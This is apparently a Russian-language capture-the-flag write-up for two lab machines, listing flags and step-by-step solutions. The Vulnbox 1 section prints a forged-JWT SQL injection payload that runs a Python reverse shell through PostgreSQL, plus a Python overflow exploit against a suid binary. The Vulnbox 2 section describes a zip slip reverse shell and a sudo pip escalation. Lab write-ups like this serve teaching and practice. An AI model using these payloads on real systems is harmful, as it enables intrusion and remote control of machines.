# ООУИ 21/22. Второй тур ## Vulnbox 1 (medium) ### User **flag**: `2b67c1f4152e859f37370e68725f8729` **solution**: 1. Находим web сервис на порту 50000 для генерации JWT на новых пользователей и сохранения фидбеков 2. Находим ключ для подписи JWT. Параметр `signing_key` передается публично при создании нового пользователя, в котором лежит ключ. Следовательно, можем изменять payload токена и подписывать 3. В payload содержится поле `name`, в котором присутствует blind SQL Injection. При добавлении кавычки и подписи сервер отдает код 500. Выясняем, что используется PostgreSQL 4. Используем payload для получения RCE: ``` { "random_string": "`z\\V,2YiC}KHyx5R", "exp": 1643101893, "name": "test';DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM E'python3 -c \\'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"< ip >\",< port >));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\\'';SELECT * FROM cmd_exec;DROP TABLE IF EXISTS cmd_exec;--" } ``` Имеем доступ от имени пользователя postgres, нужно получить юзера `john` 5. На localhost крутится еще один сервер на порту 8080. Пробрасываем порт, перебираем директории, находим `.git` 6. Из одного из коммитов достаем ssh ключ к пользователю `john`, подключаемся ### Root **flag**: `00b967126f732f13eef2d7031496ce94` **solution:** 1. В домашней директории пользователя лежит папка с программой `suda` с выставленным suid битом. Достаем бинарник и анализируем. 2. Сразу в глаза бросается printf, с уязвимостью форматной строки, но если приглядеться, то можно заметить, что символ `n` запрещен, а значит произвести запись по адресу не получится. 3. При считывании хедеров файла возможно переполнение позволяющее перезаписать указатель на функцию. exploit: ```python= import sys import struct if len(sys.argv) != 2: print(f'Usage: {sys.argv[0]} (gen1 OR gen2)') exit() if sys.argv[1] == 'gen1': with open('exploit1', 'wb') as f: f.write(b'SUDA0000|00000004|%23$pENDSTR') print('run `suda` and pass file exploit1') if sys.argv[1] == 'gen2': libc_leak = int(input('enter address from first stage:'), 16) libc_base = libc_leak - 0x1f2000 addr = 0x55410 + libc_base print(f'[+] LIBC BASE: {hex(libc_base)}') with open('bash', 'wb') as f: f.write(b'SUDA0000|00000004|'+b'A'*116+struct.pack('<Q', addr)) print('now copy bash to the `suda` directory and pass it to `suda`') ``` ## Vulnbox 2 (easy) ### User **flag**: 89ea118d7b1bc58181380be531021641 **solution:** 1. Находим web-сервис на порту 8080, есть возможность загрузки zip-файлов. Сканим доступные url'ы, находим директорию /list, которая выдает сообщение об ошибке (framework flask, debug console) откуда можем получить полный путь и имя запускаемого файла. 2. Эксплуатируем уязвимость zip slip, создав и загрузив архив с именем файла по типу "../../../app/main.py" (в сам файл main.py записываем реверс-шелл), получаем доступ до юзера appserver. ### Root **flag**: 27503b81ee5e586164df85586b2e5192 **solution:** 1. Смотрим доступные юзеру команды для запуска из под sudo ```bash= sudo -l ``` 2. Видим, что пользователь может запускать с правами суперпользователя команду /usr/bin/pip install * 3. Эксплуатируем уязвимость FakePip и получаем права суперпользователя